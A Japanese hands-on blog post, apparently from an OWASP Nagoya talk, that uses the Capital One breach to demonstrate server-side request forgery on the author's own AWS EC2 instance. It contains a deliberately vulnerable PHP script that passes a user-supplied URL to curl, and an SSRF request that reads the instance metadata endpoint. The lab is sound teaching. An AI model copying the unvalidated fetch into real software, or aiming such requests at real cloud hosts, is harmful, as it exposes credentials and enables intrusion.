hands on SSRF(Server Side Request Forgery) 

#OWASP Nagoya
**Little Deep Dive AWS Security**
by 田中隆博 氏
AWS Solutions Architect
ラーメン好き

**テーマ**
Capital One で発生した情報漏洩事象を題材に、Server Side Request Forgeryを利用したクラウド上のメタ情報の窃取手法について

*Capital Oneの漏洩事例*

Slack Channel へ投稿 
>I’ve basically strapped myself with a bomb vest, f—ing dropping Capital One dox and admitting it. I wanna distribute those buckets …There’s SSNs..with full name and [date of birth].
Paige A. Thompson

・・・そして発覚
2005年から2019年にかけてクレジットカードの申請をした人など、１億600万人分の個人情報が不正アクセスをうけた事が判明。

[Matt Forbes - 'Mad About You' ]
(https://youtu.be/gl9RNFALTgw)が流れてきそうですね♪

##Let's hands on
SSRF・・・何やら面白そう、なので実際試してみようと思います。

**PoC(proof of concept)**
目標はEC2のクレデンシャルを読み込んで、ブラウザへ不正に表示させます。・・・現時点でクレデンシャルが取れないので代わりにOpen SSH Public keyを取得しました。

```
http://ec2-0-0-0-0.us-east-2.compute.amazonaws.com/ssrf.php?url=http://169.254.169.254/latest/meta-data//public-keys/0/openssh-key
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45915/482d8ddb-e590-aa5c-af5b-c4e4e7609db6.png)

なお、PHPの~~curlを悪用するコード~~元々正当な目的でcurlを利用しているコードを、SSRF攻撃のためにサーバー側で用意したいと思います。[徳丸氏のブログ](https://blog.tokumaru.org/2018/12/introduction-to-ssrf-server-side-request-forgery.html)から参照しました。

**ssrf.php**

```
<?php
  require_once('./htmlpurifier/library/HTMLPurifier.includes.php');
  $purifier = new HTMLPurifier();

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $_GET['url']);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $html = curl_exec($ch);
  echo $purifier->purify($html);
```



1. AWS無料枠だけで構築します。こちらから申し込みます。
[AWS のプラットフォーム、製品、サービスを無料で実際に体験できます。](https://aws.amazon.com/jp/free/?sc_ichannel=ha&sc_icampaign=signin_prospects&sc_isegment=jp&sc_iplace=sign-in&sc_icontent=freetier&sc_segment=-1&all-free-tier.sort-by=item.additionalFields.SortRank&all-free-tier.sort-order=asc)

2. Webサーバーはnginxとphp-fpmをインストール。
phpinfoで動作確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45915/54a64e12-c4a7-65c4-438e-3190f3c6ff50.png)

3. HTMLPurifierを利用するため、Composerをインストール、バージョンを確認します。

```
$ composer
   ______
  / ____/___  ____ ___  ____  ____  ________  _____
 / /   / __ \/ __ `__ \/ __ \/ __ \/ ___/ _ \/ ___/
/ /___/ /_/ / / / / / / /_/ / /_/ (__  )  __/ /
\____/\____/_/ /_/ /_/ .___/\____/____/\___/_/
                    /_/
Composer version 1.9.1 2019-11-01 17:20:17
```

先ほどのssrf.phpをnginxのドキュメントルートへ配置したら完成です！

確認のため以下のURLを指定してホームーページを表示したところです。

```
http://ec2-0-0-0-0.us-east-2.compute.amazonaws.com/ssrf.php?url=https://qualias.net
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45915/5acfc133-d274-0898-b22c-5b9d8a815493.png)

[AWSの仕様として実行中のインスタンスからインスタンスメタデータが取得できる](https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)ことでPHP curlを使えば、SSRFができることも、何となく分かりました。今日のところは時間切れです。

時間があれば[一時的セキュリティ認証情報の使用](https://docs.aws.amazon.com/ja_jp/IAM/latest/UserGuide/id_credentials_temp_use-resources.html)も試したい。

更に技術的な方法論については、こちらに記載されています。
Riyaz Walikar / [An SSRF, privileged AWS keys and the Capital One breach](https://blog.appsecco.com/an-ssrf-privileged-aws-keys-and-the-capital-one-breach-4c3c2cded3af)
Ravi Ivaturi / [Capital One Security Incident & Key Lessons, so far anyway.](https://medium.com/@ravi.ivat/capital-one-security-incident-key-lessons-so-far-anyway-d90a931da928)